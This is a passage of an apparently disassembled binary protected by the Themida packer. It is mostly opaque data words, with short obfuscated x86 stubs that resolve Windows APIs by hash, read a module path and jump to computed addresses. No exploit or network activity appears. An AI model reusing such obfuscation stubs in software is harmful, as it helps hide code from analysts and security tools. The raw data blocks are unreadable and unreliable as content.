1EB4D5Eh, 0A89FBCC7h, 62586BCh, 58C9564Fh dd 0B0419830h, 0E6AE5731h, 484FB90Dh, 5BBCA83Fh, 9958FB36h dd 3D6EB3FAh, 0D5CEDF44h, 441EE51h, 0A469069Fh, 326BC881h dd 0F855D459h, 46033037h, 56133FA0h, 0E0DC78C2h, 71F8FBEh dd 250h, 0EB5E718h, 0DDDFAED8h, 6BA5B5FFh, 14CB5F8Bh, 1CCAA338h dd 24610DF6h, 2464AEFFh, 1EB600B5h, 9F00E335h, 0B013B7F2h dd 0E852C683h, 66A2E402h, 5CB600B5h, 55FAA5F3h, 4B4B9310h dd 0B7B600C5h, 0C76C733Ch, 11830482h, 0EDD67CAAh, 0C2C6004Dh dd 80B600C4h, 0A1DB0197h, 0BCA8F22Eh, 2F88A630h, 0DA8988F6h dd 0A96468A0h, 18F15ABCh, 58C56E90h, 3FEBA6C7h, 0BEFABFD4h dd 0D1AC2ED4h, 0C5008159h, 3C173E7Eh, 4C25BA96h, 0BBFDBBB2h dd 1682A1F3h, 78A5E889h, 0A94AB8FEh, 74AEBBCh, 236A099Ah dd 0D1527BFEh, 0FCA50E42h, 0ED1954F5h, 84296C02h, 0CBF0593h dd 55F713A8h, 0C3516286h, 0D54ED37Ch, 4DABFFB6h, 2489CC62h dd 5BFAA5F3h, 2B518D12h, 51629991h, 36C06BC3h, 6D868FD8h dd 5AAC0C36h, 0C351B75Eh, 67A12945h, 0C351B723h, 0D05D36E1h dd 38652C4Fh, 555CC572h, 0CB857E37h, 15383FE0h, 0C865CE5Ch dd 0D27F208Dh, 0E2907397h, 0F9271A7h, 59F6FDA6h, 7F608E1Ch dd 110A97D2h, 5DC28FB0h, 5C48EC4Ch, 0BB012636h, 9Ah dd 0C830BA8Ch, 0BE7B634h, 0DC7D2276h, 0E88A7591h, 892F78A5h dd 0A5E8891Ah, 0C881A778h, 0D194BA6Bh, 0EEB73C4Ch, 0EA4BE06Fh dd 0BB0F42E3h, 0DFD92713h, 64C612h, 72980000h, 57E9D0C8h dd 1F99B2AFh, 155CFF14h, 3D741788h, 1B8431F0h, 0E2387114h dd 0DFD25E4Ah, 40B912h, 9430000h, 8703CD53h, 69A1DBFBh dd 5BAF57F2h, 88A607F0h, 0E13760CDh, 0EB5E7BAh, 0EE9BAED8h dd 0CE69B5FFh, 5048F218h, 32B5FFEEh, 2A2C9F19h, 0B5FFEDEAh dd 76842D86h, 1477C59Ah, 8B7Dh, 59BAC600h, 0F029763Fh dd 0F64DEFB8h, 72BB6D0h, 0D23DB600h, 91BFF9BCh, 8BA879A6h dd 0BAD778CEh, 5CF1B2FFh, 690B9419h, 0C228320h, 8825E449h dd 8C29A827h, 32771C23h, 0E65440F4h, 43B31477h, 94000000h dd 0D90DB4E7h, 57D74BAFh, 93B21D2Fh, 4AB05EDAh, 57D6F830h dd 8861CA2Fh, 0B1D43F2Bh, 0AEEB87F8h, 46802801h, 2F57D83Eh dd 1211923Bh, 58E218A3h, 0AF57D840h, 779D2902h, 75A3E68Ch dd 78Ah, 43DFAD00h, 0FA000000h, 0EA1059FFh, 2F3F2F60h dd 0EAAF80Bh, 2A6F049Dh, 0B6E4769Ch, 7D80A470h, 7916991Fh dd 705357F1h, 631AF58h, 8B07802Dh, 7311F228h, 0CD0DFE3Ah dd 0AF586FC8h, 94A60FE4h, 12DF4FB8h, 0BEB5Fh, 0ABE7E000h dd 0DEA3AB08h, 0FA39030Bh, 96829011h, 719B74E7h, 35h, 8ABE7CAh dd 0D770A8D2h, 1852AF57h, 51F1B6DAh, 4C86971Ch, 948DCAEEh dd 6599D30Fh, 2A45157Bh, 288244D4h, 4458CC91h, 583446EFh dd 0BFBBAB6Ch, 21Ah, 8ABE780h, 708C98D2h, 0E08D51CAh, 9C796348h dd 30155CFFh, 0E8F413F8h, 0EF15DFCAh, 56h, 80ABE730h, 0CDBA93DEh dd 0D70500BAh, 0F8DBAF57h, 77991F5Ah, 0D6B3F711h, 0A691AF57h dd 0E9DF19CDh, 33FF6910h, 0BA111A9Eh, 2E733A59h, 0A3E68CFDh dd 0BA80EF75h, 24743959h, 0B794DD7Bh, 0AEEA1CBAh, 0B0AF57D6h dd 57D71216h, 8747F0AFh, 8C990CACh, 1BDFh, 0ABE7FA00h dd 50F1D208h, 0BA909B1Dh, 57D70500h, 9673DCAFh, 59FFDDBAh dd 0E0C52B10h, 9655A4A6h, 135EFFA7h, 40092C97h, 3152BD59h dd 912B377Ch, 0A7965699h, 41D7C06Bh, 9F0BDDEh, 0ECB071AAh dd 21C8316Ah, 21778CE8h, 3296DF7Eh, 0E7AECDh, 0E0ABCDAh dd 0FCA79661h, 0F8114861h, 0EC478716h, 0EBFC1D4Ch, 0F2E35FEh dd 0D639718Bh, 200BA796h, 0CF6ED137h, 0DD7F6086h, 0B41D0494h dd 0D6080F93h, 0B0FAA796h, 3234FB46h, 0E325C19Eh, 0A7964FA7h dd 0EED9B29Dh, 1AEE781h, 6EB3FEA0h, 41D0515Ah, 0E1E849E2h dd 779D0B42h, 12A564E5h, 76A20913h, 58C588A9h, 2C872139h dd 96DB7C83h, 0C58CAF10h, 40DC7DE2h, 0A795E445h, 0DF6143Fh dd 0AEF7216Ch, 383FE04Dh, 83EC5C15h, 0AFBEA9E0h, 0BC65B28Bh dd 2BDF96B5h, 4BEDA4C8h, 90D97CE3h, 6A2748A9h, 4CEA107Fh dd 95E3FE3Ah, 0CD6BC4A7h, 4983CD56h, 7CDE48A0h, 129D1B0Bh dd 24CE3A73h, 0D373A3D2h, 0CD051076h, 3B8F4ACFh, 555EDA57h dd 30155CFFh, 0B4E79C79h, 0B5AEE785h, 0F413F8D0h, 15DFCAE8h dd 2CEFh, 0B4E73000h, 37A8E585h, 0D9D25F1Ah, 0BAFBE0h dd 0AF57D705h, 0BA7754FFh, 0DC95B31Ch, 1583C66Bh, 1752FF0Eh dd 0DFE0C532h, 30h, 0DB4E7FAh, 500BA18h, 0DCAF57D7h, 1CBA9673h dd 52DF92B3h, 0BAD4DF59h, 0D6AEEA1Ch, 0BB94AF57h, 0D89DB27Dh dd 0A730BAE3h, 884DD767h, 0CCD94CECh, 57E889A6h, 0A71192AFh dd 0F5FFFFFDh, 0E7FD3D4Fh, 6CC7AF57h, 5EA6E7CCh, 5DAF57D7h dd 57F84EE1h, 24427831h, 57D7A6E2h, 65B39CAFh, 0D8444486h dd 9401AF57h, 2D64040Bh, 5C193699h, 6E2745AEh, 0FA40E8C1h dd 0CA57D241h, 0AE2B5100h, 1D866DF1h, 8986211Dh, 23CC450h dd 0A65F0000h, 0AF57D75Fh, 0A7CBF85Ch, 0D79D9D2Fh, 0CC67AF57h dd 645D4ED3h, 0E1B10446h, 4CB7B5FFh, 9376128h, 7A17F82Eh dd 0B013F93Fh, 0C35CC188h, 9846EBAEh, 0E1D0C872h, 99B2B5FFh dd 0EE4A0728h, 0BD692C41h, 0E1B5F517h, 0A48FB5FFh, 0A6169774h dd 445FE91Dh, 3EBCA801h, 0D731F315h, 4467EC82h, 0DF4FBh dd 1950F700h, 480D228Dh, 7E3751F2h, 0AEEB8728h, 0DB96B718h dd 61B1C04Fh, 96398DC0h, 0C26DB9F4h, 0F45FEBA2h, 1A821851h dd 238286C0h, 3A40B606h, 0DB30BA1Dh, 0E55E9BEBh, 0A6EB8CFDh dd 4F8EAD72h, 258A632Eh, 5F8B3064h, 646982Dh, 0FA0C6AB6h dd 0B60645BEh, 0F80A43E5h, 5F40665Fh, 892A7039h, 9F00A6EFh dd 51183BFEh, 0B6E2DBCCh, 60294CD5h, 751330BAh, 32ADA343h dd 108405E6h, 0D2CD7FABh, 94BCAE48h, 54A3072Bh, 5A610215h dd 6F9107F0h, 45DA24C4h, 0D9DAEC7Ch, 0D5868h, 753C5B00h dd 0A4E18E31h, 0D29BBD66h, 247EB54h, 377A1B84h, 0CD4574F3h dd 0FAA5E1ACh, 2E911558h, 60C3470Eh, 0B636743Dh, 231612B4h dd 0AEECB606h, 7130BA81h, 0DC64E136h, 5BFAA5F3h, 0A80C8D12h dd 6649F713h, 2F6204C9h, 7164E236h, 77B6001Dh, 0A6CFB8E5h dd 0EE4A0FABh, 10B3F720h, 25E6246Dh, 709E4CF7h, 0D16BE38Fh dd 0B5FFDDD9h, 19780ABh, 0AE1C79C7h, 3AE04BBCh, 0B0F6BFD9h dd 8320690Fh, 0E54A0322h, 71A9D379h, 53BCAE1Ch, 45F7B0F8h dd 28A2C8FEh, 0D4168B68h, 0E1E382EBh, 0C0E47872h, 0EC232573h dd 0D6C35635h, 0A26D4B7Dh, 9013E5D4h, 0CA42Fh, 0C980A700h dd 0F8BDD27Dh, 2E6701A2h, 5E1B3798h, 8BC667C8h, 1101B03Fh dd 46E93D70h, 72DD6924h, 0A40F9BD2h, 0EA72C881h, 23D2D670h dd 6AB0B606h, 0D85CFFCDh, 0D71008B2h, 59F2AF57h, 57D779B1h dd 0F7E04BAFh, 8B3E1AAh, 0FC0EB4D2h, 0AF57D6BCh, 4A032586h dd 5DDBB4E5h, 0FFE4E08Bh, 5D89A2B5h, 0F72DE01Bh, 64C71F5Ah dd 0B5D7F349h, 0B600A475h, 0CEB4E44Fh, 640C865h, 0B600A402h dd 0F0B9DFC0h, 0A8817AB3h, 0DE97B112h, 0B5E76348h, 0B4ADE886h dd 0F2ADF416h, 0BC97B5FFh, 0F2AFF777h, 60CBB5FFh, 0CAC7B3BFh dd 0CC0E1477h, 0FEBE99C0h, 0A09D7CA6h, 1661A23Ch, 0A099D078h dd 88CA08h, 0FF5D0000h, 5C8A1752h, 0BC44BE1Ah, 3078C2D9h dd 1A87C26Fh, 0A4FE3CCh, 0C96D01AEh, 0C012AA64h, 39665FE3h dd 388ECB68h, 70962D8Fh, 144E9CAh, 0DB2D8B9Ch, 0B6003E9Ch dd 0B71BCD66h, 0B9F32A9Ah, 0BA3897Ah, 83A60000h, 0BED37CCAh dd 6404AFFBh, 1836992Dh, 0C566C95Dh, 4B53288h, 9A206D0Eh dd 0D6541939h, 86CF6Dh, 71B5FC9Fh, 0D5D577F5h, 0AFB60624h dd 52FFC269h, 3355F317h, 0AF57D6F7h, 4C3662CDh, 7BC3h dd 52FFE600h, 3355F317h, 0AF57D6F7h, 1D1DAFCDh, 0E7AF57D7h dd 66C5534Ch, 1ECC77A5h, 26ED38DCh, 0D642E6B3h, 25A7FA0Ch dd 56B9B600h, 1A53F134h, 0DAB8495h, 0F7B2E0C3h, 621071AAh dd 0C8A1FA27h, 2AB2AC10h, 0B60FACF3h, 0B15h, 0E2387118h dd 0DD692C41h, 0B9FD672h, 7BCF8AA8h, 0ACFAB7D8h, 0DF809227h dd 8BAB1492h, 0BDDF40C6h, 6E0DB6F4h, 0E17BE327h, 62563A7h dd 3C1B21B6h, 0F19D5CFFh, 7A53163Ch, 0DA7A6581h, 0FDA60593h dd 0F08A175Eh, 0DEDA6C8Ah, 0A4AF57D6h, 0EDB62D8Bh, 0DFD2F1EDh dd 2491412h, 6CEE0000h, 136CF2EEh, 2D76A24Dh, 0AD0F5001h dd 2356F016h, 0E1B5FFEDh, 9334D236h, 8A99795h, 51EB1FA4h dd 0B03FA30Ah, 49D25FF8h, 1CB4D8EBh, 31C98689h, 0FED7C0B4h dd 0A2E7BEC8h, 93DDB6EAh, 0E0BDA4BDh, 1A57F70Ch, 31924821h dd 0A949BA12h, 0ECB64D09h, 0B992D77Bh dd 0BA3C26Dh, 39FE4880h, 39EFD8A1h, 0F2408CCDh, 4E13ECCFh dd 5100000Ah, 882B7F36h, 0B718AEEBh, 0E142D891h, 11B2084Dh dd 62E93D70h, 0EFA2C34Fh, 1B56F85Bh, 4900248Fh, 7A3352FDh dd 18A2B82Ch, 0B6062620h, 0FF7FA4E2h, 7EFE9F52h, 57D6CCCCh dd 0A49DB6AFh, 77A566CBh, 20EC1ECCh, 0E2B60615h, 8C779D49h dd 0DCDC6EE6h, 0A6B60614h, 9B04948Dh, 0CF70B6FBh, 0DBC4E2AFh dd 0F3ACF1B8h, 83941950h, 419D0EAAh, 985BDA37h, 4BED534Eh dd 0C7E358FCh, 9A2B6F99h, 3E19B606h, 0ABD670FAh, 0BDBCAEBCh dd 0BCB5F517h, 0A48FBCAEh, 4561CA74h, 3175385Ah, 429EC8Eh dd 0D2CBDC41h, 2E914Dh, 69CFD845h, 3AEEA7C6h, 0EC7C1BB6h dd 964839FAh, 99000009h, 0D073B7FEh, 0FFA0E6A3h, 298A1059h dd 59FA4005h, 0AA317538h, 276A0B07h, 531E40E3h, 81C86CD7h dd 0B2FB9A05h, 0D06AF074h, 0B60626D8h, 91C76CAAh, 57D73969h dd 169F34AFh, 0E9DA7A43h, 8099064Fh, 0AAC97397h, 98B5FFF9h dd 8BA80BBFh, 0E04861CEh, 57FF997Ah, 59AF67AFh, 0BB0FF8F4h dd 0F317AC00h, 0AA94C949h, 6A90BBBCh, 76A2EB89h, 0EE1846ECh dd 0BCAA94AAh, 0B679BF98h, 0E748DE97h, 8E4FEC44h, 5FA19923h dd 0C863BCAAh, 0F9285A3Eh, 0C57FBBCDh, 0EA45BCAAh, 13C3D7F1h dd 0EECDEC80h, 8F415h, 1950F700h, 480D228Dh, 7E3751F2h dd 0AEEB8728h, 0DB96B718h, 61B1C04Fh, 96398DC0h, 0C26DB9F4h dd 0F45FEBA2h, 1A821851h, 288286C0h, 3A40B606h, 3859BA1Dh dd 0B9FF2875h, 57D767AFh, 50193CAFh, 44862CCAh, 0AF57D744h dd 483153Eh, 4DFF2B90h, 0B60026F8h, 5A4561CAh, 0C937733Ah dd 0AEEE46E6h, 1A39AC9Ch, 6942EFD8h, 753C60CFh, 85C06E51h dd 3AA90F18h, 84D5AA2Ch, 7839D985h, 8734F30h, 0E76A0000h dd 0F7D80EB5h, 829B1851h, 2BBACC16h, 19B5FFE2h, 52DF96B6h dd 940E859h, 4B4B9310h, 67B5FFE2h, 3B17238Ch, 0C21477DDh dd 1A9h, 145DFF65h, 3974168Fh, 0E9856EF4h, 821607ACh, 93377E1Dh dd 0D6D7D375h, 82ADAF57h, 48ECB516h, 3A0E589h, 4AF5312Ah dd 426C822Ah, 3FAEA0EAh, 0FE50D946h, 5B67A145h, 0DAF583Fh dd 3F65A5E7h, 0F45FAF58h, 15B19AA4h, 755505C3h, 0A81C09h dd 2A6302A3h, 367B1C85h, 5A1738E9h, 278CC4D5h, 9FDA777Eh dd 0E1201912h, 0C0646B34h, 85D73D89h, 5FA356B3h, 0F5BAFEF6h dd 49911E57h, 0AF57F845h, 30AAB00h, 74922861h, 0F87CBCCEh dd 7E4EAF57h, 7DE2FC13h, 8F277171h, 0A15ECF11h, 139404FDh dd 77B3D5A3h, 4DAF584Ch, 31D04103h, 0EBC4B435h, 7EB2D4F2h dd 60AF5839h, 0F94DD7Fh, 3971A9D3h, 0F853AF58h, 0CC67A90Fh dd 6E13DC1Eh, 0D5AF4643h, 1F3FE043h, 0C52ED452h, 0E34CECA9h dd 0A10E43h, 168F145Dh, 30F13E77h, 40E4450Ch, 5CC9A409h dd 10BD44D3h, 0ABE6888Fh, 600EF11Fh, 63C08DADh, 58C7514Ah dd 644F7B36h, 0BD2E8ACFh, 59BD57A1h, 3AD09BBDh, 308B29FEh dd 2E09708Ah, 50FBB600h, 44862CCAh, 0B6002E44h, 1C83153Eh dd 7CEA377Ah, 0F59185FAh, 0B9FF6C60h, 0D7F34CEEh, 0A22646A9h dd 812018h, 5049E2B6h, 810E0ED8h, 5BF4B600h, 0F9BA13D6h dd 891D50F2h, 97D28063h, 0B1FC9E01h, 0C184AA15h, 8133F457h dd 573240DBh, 0E5367B36h, 0CE882FEDh, 29763F5Dh, 59E307F0h dd 0BCA8912Eh, 201FDA14h, 583FB95Fh, 0D678DB6Fh, 91B17013h dd 6D4657DCh, 0D576D7C0h, 29021B98h, 0BA12329Dh, 0BFC5F895h dd 21655E36h, 0EFB5E7FAh, 443ABC3Ch, 0CCFAD3B4h, 58BFBAh dd 1C3EA1B6h, 9639C751h, 5EC3BCF9h, 59EDA8C5h, 632E50B3h dd 604BED3Eh, 0A00DB4E7h, 57D75EA6h, 6E2745AFh, 953D60C1h dd 0BF3B283Bh, 38655E05h, 0DD5CC572h, 3B37F853h, 12DFC74Fh dd 0EA2E5886h, 0D8AF57F3h, 541B397Fh, 2C000000h, 0AEEA1CBAh dd 94AF57D6h, 9DB27DBBh, 618F5BD8h, 57D6E327h, 474385AFh dd 3DAF57D7h, 3167D012h, 57D6F337h, 4BB4EEAFh, 0EE3F642Dh dd 4950D14Ah, 5A456124h, 5E247439h, 60294FB0h, 0FC3A3EC8h dd 0A0E1AF57h, 0FFFFFF84h, 0AEEA1CBAh, 94AF57FBh, 0FF367DBBh dd 0BA30155Ch, 2C713459h, 7DBDCFFBh, 47AF57D7h, 0C2DF4CECh dd 180DB4E7h, 0B0D33CDAh, 0F474BFF9h, 15DFCAE8h, 3DEFh dd 0B4E73000h, 50B3D90Dh, 5C5C6623h, 26AF57D7h, 0BA80AB0Dh dd 57D70800h, 7451FAAFh, 52FFDDBAh, 30BA3217h, 45316A41h dd 0ABEF1999h, 99AF5853h, 0CE64C5BEh, 63B82D8Bh, 40DFh dd 0B4E7FA00h, 59BA180Dh, 3C26723Bh, 57D78E8Ah, 953757AFh dd 0AF57D795h, 0FEEBC46Fh, 933B59BAh, 672D7C2Dh, 901DF659h dd 0E1D96387h, 0A3AF5893h, 5D3A2088h, 57F652FFh, 92D807DAh dd 0C5998E67h, 1059FFE0h, 0D74F4B93h, 0A10AAF57h, 165FF900h dd 0E7A57690h, 5076AF57h, 8FF8CF06h, 85E6C057h, 2902AFE6h dd 0F3DE008Fh, 90DAFFFFh, 9E3F0D3Fh, 0B0FB3DFBh, 931752FFh dd 8B3F8428h, 0AD271h, 6C0FB0B6h, 0B6AFF825h, 0B160EA10h dd 0BFCEA195h, 2E65A56Dh, 0F45FB600h, 0FF07C7A4h, 9BB6002Dh dd 77636F30h, 96147785h, 11h, 80B8C268h, 42B60036h, 0DF644FE9h dd 1, 0EB5E7FAh, 0EF63AED8h, 3B21B5FFh, 0FFEF8981h, 0E7D07BB5h dd 2143ACBAh, 325FC068h, 0AFD53377h, 0FFEF1D1Dh, 9E4CE7B5h dd 0FFEF2C6Ch, 0FB3D16B5h, 0FFEF536Dh, 652C50B5h, 97DE7E21h dd 619ADC0Ah, 0D6211107h, 234978B0h, 1F268F64h, 2D96347Dh dd 6DC410Ch, 16C4C4h, 0BC95BEB6h, 0E2D967Ch, 5CFF6047h dd 5ECF3215h, 0E6AFCED5h, 18F49982h, 0FF135FCAh, 0B8h dd 0EA1CBA40h, 0AF57D6AEh, 0AA7DBB94h, 0D74C5E08h, 0E066F0Ah dd 0D8B1FC9Dh, 500BAE3h, 0DCAF57D7h, 1CBA9673h, 54D990B3h dd 0CBCED543h, 5CFFEC6Fh, 0E6C33015h, 0AEEA1CBAh, 94AF57D6h dd 65284ABBh, 0FE49EF38h, 0DA07E45Fh, 0CAE8F4FDh, 2FEF15DFh dd 30000000h, 0EDD530BAh, 0E55F5685h, 0FA41F4B3h, 800BA0Dh dd 0FAAF57D7h, 0DDBA7451h, 0FC9F52FFh, 0C52EDCB5h, 524BE8A5h dd 0E0C5DDC6h, 2CDFh, 0B4E7FA00h, 0B6AFE685h, 0EB74C610h dd 0A36214E2h, 9D2CDD2Bh, 8028D089h, 800BA9Bh, 0D9AF57D7h dd 251E5BF8h, 0FFDDBA40h, 0C5321752h, 0FF44DFE0h, 0D83BFFFFh dd 72B9FFBAh, 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h dd 1D82CB6Ah, 3497130Ch, 7D8F3B80h, 0B5FFF612h, 1C1CAED4h dd 0E6B5FFF6h, 0F6424680h, 1700B5FFh, 0FB54FA3Eh, 0F670B4B6h dd 0A70CB5FFh, 0CD00FCFEh, 25E71477h, 38000000h, 0D80EB5E7h dd 54FAEh, 951A35B6h, 55155h, 1D866DB6h, 77F8211Dh, 0E0C414h dd 359E0000h, 0D5DE5A13h, 763F59BAh, 97DE7D22h, 0B5F8990Ah dd 0DD94B768h, 0B298A50h, 6CCCDD42h, 3DE9A0C3h, 0BCFCB1D2h dd 16AE28D6h, 63E74461h, 2C242276h, 77AF588Eh, 0F23650D4h dd 0B1AF588Dh, 5851DE97h, 0CF79AD86h, 0AF588DCBh, 1A59EB9h dd 692A15F7h, 58C2DBDFh, 748EA9AFh, 178160F2h, 2A6302ADh dd 2B900485h, 9C1E4DFFh, 4BE4B600h, 53E84CFFh, 3E2415B7h dd 351EBCABh, 0D74A4791h, 0F805E108h, 0F4241D54h, 0A9E4856Eh dd 0DC91B21Dh, 7FF0982Ch, 4A3BF8ECh, 29Dh, 6AB0F9A0h, 0A5E1A4C9h dd 93175EFAh, 0C3470230h, 34723F60h, 67080AAFh, 13339C2Ah dd 0C567C85Eh, 0F6953E8Ch, 69F36BBFh, 62DDBDFh, 0C463A9B6h dd 97135EFFh, 7B8D092Ch dd 0AF57D73Fh, 95312A05h, 0D444092Ah, 1CBA416Eh, 0AA6FACDAh dd 0D9E1D652h, 0AF5816E1h, 70345A3h, 0FDAF5817h, 683F7952h dd 1008B2C4h, 0F2AF5817h, 17367294h, 230CAF58h, 0FB5514Ah dd 0C20480A4h, 0AF5816C6h, 7EBA93BCh, 4495E8h, 0C0684BB6h dd 8C3E2489h, 0B600448Ch, 0B4E4DD76h, 0FA7CA18Ah, 0B60043BAh dd 80A30CD6h, 2BF46FC9h, 77BB332Fh, 0E0DA14h, 0FF6D0000h dd 6AAED85Ch, 58AF57D7h, 89906FFh, 45852A67h, 0AF57DB8Dh dd 83CE7053h, 4AB0D1Eh, 74922861h, 0C55495E2h, 72A6DA17h dd 5AC78EADh, 22D863D1h, 13464284h, 133CAF58h, 0BE2D5F85h dd 0A0B60022h, 0CF541D3Fh, 7AB45ADEh, 9C8632D8h, 90A33B47h dd 3A91CE4Ch, 15F33720h, 0B35D5DEFh, 0C27B600h, 2B91BACh dd 5216A2E4h, 0CBECBCABh, 0D90DE6ABh, 961B52F6h, 0E6C91385h dd 92DF8045h, 0E7231C0Dh, 619B1B3Ch, 0BCAB5229h, 0A147301Bh dd 0EC7F860Dh, 56D3AC0Fh, 59000001h, 9033773Eh, 0BF60A6E3h dd 0E94AD099h, 19BA0045h, 6AF13578h, 0E7AACB47h, 135E00A3h dd 41082C97h, 723B5AC5h, 10AAB034h, 0B6062F18h, 0BA87ACEAh dd 689E5130h, 0F4258AC7h, 9F9200FAh, 0B8F59619h, 0EBA2C162h dd 5CFF705Fh, 74178815h, 225095B5h, 80218E67h, 100996D3h dd 4FF84E27h, 16B056EDh, 0B5FFF9EBh, 22487ED9h, 50B422A8h dd 36623CD3h, 783CA69h, 73B0F99Ch, 15B10AAAh, 254885AAh dd 3F25736Ch, 0AEEEF98Dh, 0B860CBBCh, 0EC7BEA10h, 0BEB21390h dd 0C1000000h, 0F85BEFA6h, 27881E5Bh, 51F24801h, 8122783Dh dd 9219ADE0h, 5F1233DFh, 8BC668CBh, 0B9F0943Fh, 0EAA3C26Dh dd 0E812C85Ch, 0B6062FB0h, 0E7EF5492h, 0B2D80EB5h, 57D71008h dd 0DF59F2AFh, 141FF315h, 4AE5B606h, 50193CE5h, 612449AAh dd 0C74DEB3Ch, 3370395Ch, 30B55E2Bh, 0CF7771Ah, 0AFF8256Ch dd 0C855103Eh, 41E259DFh, 0BBDA1B3Ah, 77D5713h, 0F5EED54Fh dd 1008B2A8h, 0F21A3018h, 53776059h, 3062CE70h, 9A332E01h dd 0C54FE9C2h, 2D723B5Ah, 6F9BDE74h, 0ADE484h, 0DF228117h dd 7262DF6h, 1537984Eh, 53337791h, 26111A30h, 61B7E04Dh dd 5C15389Bh, 36ED7h, 0B0490000h, 1158FFCBh, 3970138Ch dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h dd 0CD84A47Dh, 0D792BF60h, 5455FA4Ah, 4C5815Dh, 83000000h dd 2C8704EDh, 0DA685C24h, 8900006Dh ; --------------------------------------------------------------------------- xor al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push eax mov eax, 464A5C56h xor eax, 4D08248Dh mov esi, 0DEC4749h xor esi, eax pop eax push 5F7Ch mov [esp], esp add dword ptr [esp], 4 pop eax push 410Ah mov [esp], esi sub dword ptr [esp], 269F7ABFh pop dword ptr [eax+8] add dword ptr [eax+8], 269F7ABFh mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5517CE ; --------------------------------------------------------------------------- db 0F8h dd 679D0B55h, 0CF8CAD11h db 4Eh, 49h, 0BCh ; --------------------------------------------------------------------------- loc_5AF4CF: ; CODE XREF: Themida_:005AD8DCj mov eax, 6AE5A21h add eax, ebp push eax mov byte ptr [ebp+6A815D5h], 47h push 0CF381725h push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax mov ebx, eax lea eax, [ebp+6A822DDh] push eax push 104h call ebx mov byte ptr [ebp+6A815D5h], 53h push 8307F8BFh push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax mov [ebp+6AE3D70h], eax cmp dword ptr [ebp+6A80061h], 0 jz loc_5AF539 mov ebx, [ebp+6A81F25h] jmp loc_5AF53E ; --------------------------------------------------------------------------- loc_5AF539: ; CODE XREF: Themida_:005AF528j mov ebx, 0 loc_5AF53E: ; CODE XREF: Themida_:005AF534j push 100h lea esi, [ebp+6AE3D74h] push esi push ebx call dword ptr [ebp+6A82C4Dh] lea esi, [ebp+6AE3D74h] add esi, eax jmp loc_5AF55F ; --------------------------------------------------------------------------- loc_5AF55E: ; CODE XREF: Themida_:005AF56Bj dec esi loc_5AF55F: ; CODE XREF: Themida_:005AF559j cmp byte ptr [esi], 5Ch jz loc_5AF571 cmp byte ptr [esi], 2Fh jnz loc_5AF55E loc_5AF571: ; CODE XREF: Themida_:005AF562j mov byte ptr [esi], 0 lea eax, [ebp+6AE3D74h] push eax call dword ptr [ebp+6AE3D70h] pop eax jmp eax ; --------------------------------------------------------------------------- dd 305E4773h, 642CDB69h, 446907D3h, 15328052h, 270CCB24h dd 41AFB792h, 7DCEA906h, 5F0F61EAh, 17C459EEh, 697B38h dd 51A5E607h, 4FA846A8h, 618AB382h, 53E13748h, 18A08190h dd 32EC2AC3h, 3C2E2381h, 0B6F3925h, 670A8F07h, 7713A14Fh dd 59D7A365h, 774B266Eh, 2ED99053h, 1B4E4A18h, 7E8h, 0AF32A000h dd 700196C3h, 5B12D980h, 14E9h, 0B6942300h, 9A1317C8h dd 0DA80BFA8h, 1B9CDBBEh, 7C4062DCh, 95C381BAh, 0F00006Fh dd 689h, 0D3C98100h, 687B06F1h, 1BACh, 0AE9h, 65F51F00h dd 33D67D9Ch, 58AB0AD7h, 2814EA81h, 3B8B14A8h, 14E8h, 9001B600h dd 81DD5202h, 5AA3BFh, 4D5D51DCh, 3F294F1Bh, 59D08B8Dh dd 0A9F781h, 0F1811F92h, 62876B1h, 0EF7BC781h, 0EE801D5Fh dd 8CC7817Bh, 810B3346h, 76B174F1h, 0CE8B575Bh, 0F08B038Fh dd 9FEB81h, 81FC675Bh, 5B009BC3h, 88A0F67h, 0F000000h dd 28Eh, 48595700h, 17850Fh, 0ED800000h, 28E9AFh, 37FC0000h dd 0B8E5DEEBh, 613B94B6h, 0BD884DF8h, 0E9CA8B83h, 0FFFFFF7Ah dd 57045A9Fh, 117D3997h, 90BCCE8Bh, 0BFCC8477h, 1DE93D44h dd 85000000h, 353A67h, 6 dup(0) ; --------------------------------------------------------------------------- jmp loc_5AFC48 ; --------------------------------------------------------------------------- db 13h, 74h, 3Dh dd 6C2946E9h, 9AD375DEh, 0CA8FA30Ch, 0FFB2D37Ch, 858D2CABh dd 0B21DA9E4h, 0E649DD90h, 18BB0F46h, 7EEE3C75h, 335E5AECh dd 0E624B606h, 9D5CFF39h, 55103EFFh, 0B9E6DFC8h, 0B5B79660h dd 0A7ED18A7h, 91B718CEh, 88612850h, 41E24320h, 0B2ABEE84h dd 0C386AB14h, 2144EF55h, 3B5ACB68h, 0DF742D72h, 0CDBE159Ah dd 773E5D64h, 0A5EC9033h, 0D79EBE61h, 431FB933h, 0C538365Fh dd 0F2FF053h, 2244DD42h, 110A47E7h, 0F434568Ch, 0CEAF58B4h dd 2F620465h, 0E6226482h, 0DCAF58B4h, 0FEA70C73h, 0BA7B507Fh dd 42D891B3h, 52173BA4h, 733A59C6h, 0AC76C57h, 0EA4E276Eh dd 0B4B6F179h, 9704AF58h, 8100C0Eh, 62F712DFh, 48000000h dd 0AEEA1CBAh, 94AF57D6h, 93B27DBBh, 268955DAh, 1BED4B02h dd 0AF57D71Dh, 0ABA7086Fh, 12DFD6BFh, 15Eh, 52FFE100h dd 3355F317h, 0AF57D6F7h, 1D1DAFCDh, 0E7AF57D7h, 5CF2534Ch dd 732C9F19h, 0C8169BDEh, 24DB0D8Eh, 0B3E44900h, 5731C83Bh dd 75305EC1h, 4FD04528h, 0D86E2B48h, 99DD477h, 135EFF22h dd 0F078158Eh, 0D6F8304Ah, 61CAAF57h, 57D76159h, 1F0823AFh dd 0FDA60F92h, 821855F6h, 0E64B0221h, 0A24FFE78h, 0E92E4A0Fh dd 0F1B8E04Fh, 0BE67CCACh, 0DF3C30BCh, 8C5712h, 0BAE80000h dd 7919F930h, 1F996CFAh, 0A243EF90h, 0C533D0F8h, 0BB3DE9C2h dd 0E6886371h, 7DA053ABh, 990AF93Fh, 0B869B6FFh, 0CF50DD94h dd 